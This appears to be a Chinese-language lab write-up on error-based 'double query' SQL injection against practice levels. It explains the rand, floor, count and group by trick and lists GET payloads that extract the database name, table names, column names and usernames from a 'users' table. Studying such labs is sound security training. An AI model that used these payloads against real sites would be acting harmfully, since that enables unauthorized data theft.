前面几关都是简单的注入类型,所以不在写具体的笔记了。
我们理解对的sql查询语句都是select来查询的,双注入查询也就是在第一个select语句中包含一个子查询语句,也就是包含一个select 语句。我们可以尝试一下构造一个sql语句
select concat((select database()));
concat() 是用来连接的函数,这样就可以把数据库显示出来。 不明白的话,可以这样理解
select concat('a','b');
第一个sql语句的查询结果
第二个sql语句的查询结果
对于双注入查询来说,有几个函数要理解。
随机函数,就是随机的产生数字。
可以在本地环境下进行测试
可以看到两次得到的数字步相同,这就是这个函数的用处。
取整函数,将随机数字取整数,可以和rand()函数结合在一起进行本地测试。
将两次随机得到的数字进行取整
然后我们可以将查询数据库和者两个函数用到一起来看一下。
构造sql语句
select concat((select database()),floor(rand()*2));
查询结果如图
如果我们把这条语句后面加上from 一个表名。那么一般会返回security0或security1的一个集合。数目是由表本身有几条结果决定的。比如一个管理表里有5个管理员。这个就会返回五条记录,这里users表里有13个用户,所以返回了13条
聚合函数,使用方法和结果如图。
可以在尝试换另一个表名,来测试我们可以换程information_schema这个表
可以看到,表里面只有五个,使用了聚合函数后,可以很容易的看到表内有多少条数据。
分组语句
这个语句可以和以上的所有函数结合在一起进行使用
select count(*),concat((select database()),floor(rand()*2))as a from information_schema.tables group by a;
基于GET传参单引号类型的双注入查询
打开题目,构造payload ?id=1’ 报错 ?id=1”正常
所以构造payload爆数据库
?id=1' union select 1,count(*),concat((select database()),floor(rand()*2))as a from information_schema.tables group by a%23
得到数据库,然后下面就是组合拳喽!!
基于GET传参双引号类型的双注入查询
对于这题来说,是双引号进行注入,其他和less-5相同
组合拳爆数据库
构造payload
?id=-1" union select 1,count(*),concat((select database()),floor(rand()*2))as a from information_schema.tables group by a%23
得到数据库名称!!
爆表名
构造Payload
?id=-1" union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security'),floor(rand()*2))as a from information_schema.tables group by a%23
发现了如图所示的报错,意思是数据库里包含的不止一个表,所以,就要使用limit了
重新构造payload爆表名
?id=-1" union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),floor(rand()*2))as a from information_schema.tables group by a%23
得到users表
构造payload爆列名
?id=-1" union select 1,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 1,1),floor(rand()*2))as a from information_schema.tables group by a%23
可以得到username列
构造Payload爆字段
?id=-1" union select 1,count(*),concat((select username from users limit 1,1),floor(rand()*2))as a from information_schema.tables group by a%23
成功得到数据!!!
失去一个不再爱自己的人,有什么可惜的!!